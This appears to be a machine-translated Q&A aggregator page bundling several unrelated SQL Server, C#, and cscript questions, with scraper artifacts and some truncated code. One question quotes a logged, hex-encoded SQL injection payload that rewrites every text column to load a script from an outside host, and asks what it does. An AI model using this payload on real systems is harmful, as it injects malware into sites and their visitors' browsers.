在SQL Server中,我有一个DATETIME包含时间元素的列.
例:
'14 AUG 2008 14:23:019'
Run Code Online (Sandbox Code Playgroud)
仅选择特定日期的记录,忽略时间部分的最佳方法是什么?
示例:(不安全,因为它与时间部分不匹配并且不返回任何行)
DECLARE @p_date DATETIME
SET @p_date = CONVERT( DATETIME, '14 AUG 2008', 106 )
SELECT *
FROM table1
WHERE column_datetime = @p_date
Run Code Online (Sandbox Code Playgroud)
注意:鉴于这个网站也是关于记下你选择的笔记和技术,然后忘记,我将发布我自己的答案,因为MSSQL中的DATETIME东西可能是我在SQLBOL中查找最多的主题.
更新 Clarified示例更具体.
编辑抱歉,但我不得不降低错误的答案(答案返回错误的结果).
@Jorrit:WHERE (date>'20080813' AND date<'20080815')将返回13日和14日.
@wearejimbo:关闭,但没有雪茄!徽章授予你.您错过了在2008年8月14日23:59:001到23:59:999(即午夜前不到1秒)写下的记录.
我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:
为清晰起见添加了换行符
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
任何人都可以了解"CAST和EXEC"试图做些什么吗?
我希望能够创建一个简单的PNG图像,比如使用基于ac#web的服务生成图像的红色方块,从<img src="myws.ashx?x=100>HTML元素调用.
一些示例HTML:
<hmtl><body>
<img src="http://mysite.com/webservice/rectangle.ashx?size=100">
</body></html>
Run Code Online (Sandbox Code Playgroud)
是否有人可以拼凑一个简单的(工作)C#课程来让我入门?一旦关闭和离开,我确信我可以完成这个以实际做我想要它做的事情.
TIA
解
rectangle.html
<html>
<head></head>
<body>
<img src="rectangle.ashx" height="100" width="200">
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
rectangle.ashx
<%@ WebHandler Language="C#" Class="ImageHandler" %>
Run Code Online (Sandbox Code Playgroud)
rectangle.cs
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Web;
public class ImageHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
int width = 600; //int.Parse(context.Request.QueryString["width"]);
int height = 400; //int.Parse(context.Request.QueryString["height"]);
Bitmap bitmap = new Bitmap(width,height);
Graphics g = Graphics.FromImage( (Image) bitmap );
g.FillRectangle( Brushes.Red, 0f, 0f, bitmap.Width, …Run Code Online (Sandbox Code Playgroud) 如果我有一个cscript输出到屏幕的行,如何在每次打印后避免"换行"?
例:
for a = 1 to 10
WScript.Print "."
REM (do something)
next
Run Code Online (Sandbox Code Playgroud)
预期产量应为:
..........
Run Code Online (Sandbox Code Playgroud)
不:
.
.
.
.
.
.
.
.
.
.
Run Code Online (Sandbox Code Playgroud)
在过去,我曾经打印过"向上箭头字符"ASCII代码.这可以在cscript中完成吗?
回答
在同一条线上打印,无需额外的CR/LF
for a=1 to 15
wscript.stdout.write a
wscript.stdout.write chr(13)
wscript.sleep 200
next
Run Code Online (Sandbox Code Playgroud) 有没有办法以编程方式确定当前是否正在特定数据库上执行SQL Server备份?
我们为数据和日志文件提供自动数据库备份脚本,每晚数据库备份数据库,每天24小时每15分钟备份一次日志文件.但是,如果日志文件备份作业在运行完整备份的同时运行,则认为日志文件备份作业失败.
我想要做的是更改我的事务日志脚本,以便在运行完整备份时不运行事务日志备份.
如果有DMV或系统表我可以查询并解决这个问题?
我有一些基于数据驱动的基于Web的应用程序,它们为内部和公共用户提供服务,并希望衡量您希望创建页面的速度(以毫秒为单位),以保持用户满意度和可伸缩性.
那么,创建页面以保持快速站点的速度有多快?
这些站点是用ASP经典开发的,SQL Server后端生成我使用XSLT渲染的XML记录集.不是最有效的技术和页面需要7ms到120ms来创建(即第一行代码和'Response.Write'之间的定时器间隔),具体取决于页面的复杂程度.较慢的页面是由于数据库运行更大和更复杂的查询.即使我将所有ASP经典重写为ASP.NET,整个页面渲染速度也不会有任何显着的改进.
我经常听到杰夫说他希望SO成为最快的网站,他的博客讨论了他的代码和数据库的优化,但你需要在优化代码方面走多远?通过使用StringBuffer而不是String + String来缩短毫秒时间可以充分利用我的时间吗?
[澄清]
在什么时候你开始认为"这个页面创建时间太长了?".是超过20毫秒,超过200毫秒还是一个页面可以接管一秒钟构建?你的"目标时间是多少?"
sql-server ×3
ascii ×1
backup ×1
c# ×1
database ×1
datetime ×1
httphandler ×1
image ×1
perception ×1
performance ×1
png ×1
t-sql ×1
web-services ×1
windows ×1
wsh ×1